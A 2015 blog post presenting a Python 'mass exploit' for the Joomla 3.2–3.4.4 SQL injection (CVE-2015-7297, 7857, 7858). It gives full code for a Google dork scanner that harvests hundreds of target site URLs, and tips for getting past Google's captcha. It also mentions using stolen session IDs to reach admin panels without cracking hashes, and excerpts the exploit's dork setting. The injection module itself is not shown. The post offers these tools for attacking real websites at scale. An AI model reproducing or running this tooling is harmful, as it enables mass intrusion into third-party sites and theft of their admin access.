[Mass Exploit] Joomla 3.2 to 3.4 SQL Injection
MakMan • October 25, 2015
python exploitsYou guys know how I love to automate stuff. So earlier today I decided to automate the SQL injection vulnerability in open source CMS joomla 3.2 to 3.4.4 found by Trust Wave Labs here. CVE-2015-7297, CVE-2015-7857, and CVE-2015-7858 cover this SQL Injection vulnerability.
I have used Google Scraper and Mass Exploiter from one of my previous posts which works as a dork scanner and performs mass exploitation on hundreds of URLs in a matter of seconds. Here's a preview of this mass exploit.
Requirements
- Python version 3.4.x
- A third party package – Requests
There are two modules in this exploit. First module makman.py is a dork scanner which scans all the URLs for the given google dork. As per my latest results, it scraped 417 joomla websites from google search in about 6 seconds.
# makman.py
# By MakMan - 25-10-2015
import requests, re, sys
from functools import partial
from multiprocessing import Pool
def get_urls(search_string, start):
temp = []
url = 'https://www.google.com.pk/search'
payload = { 'q' : search_string, 'start' : start , 'num' : '100' }
# Set Cookies in my_headers from your browser, in case it doesn't get any results.
my_headers = { 'User-Agent' : 'Mozilla/5.0 (Windows NT 6.3; WOW64; rv:38.0) Gecko/20100101 Firefox/38.0', 'Cookie' : '' }
r = requests.get( url, params = payload, headers = my_headers )
# print( r.text.encode('utf-8') )
temp.extend( re.findall( '<h3 class="r"><a href="(.+?)"', r.text ) )
# print(temp)
return temp
def dork_scanner(search, pages, processes):
result = []
search = search
pages = pages
processes = int( processes )
make_request = partial( get_urls, search )
pagelist = [ str(x*100) for x in range( 0, int(pages) ) ]
with Pool(processes) as p:
tmp = p.map(make_request, pagelist)
for x in tmp:
result.extend(x)
result = list( set( result ) )
return result
#End
The second module performs the injection on the URLs collected by the dork scanner in the first module. Make sure makman.py is in the same directory.

Here's another quick demo to show you guys how to use session_id and get access to the admin panel without cracking the hashes.

Known Issues
Sometimes the first module (Google dork scanner) doesn't retrieve any URLs because Google serves the captcha form instead of the search results. If this is the case, go to you browser, do a manual search for your dork, fill in the correct captcha (if appears), retrieve the cookies for this search and add these cookies in makman.py line 14 in the dictionary variable my_headers for the key Cookie.
# Set Cookies in my_headers from your browser, in case it doesn't get any results.
my_headers = { 'User-Agent' : 'Mozilla/5.0 (Windows NT 6.3; WOW64; rv:38.0) Gecko/20100101 Firefox/38.0', 'Cookie' : 'COOKIES_HERE' }
You can always change the Google dork for this exploit by editing line 71 in joomla_sqli_mass_exploit.py.
def main():
banner()
start = timer()
dork = 'inurl:index.php?option=com_*' # Change this line
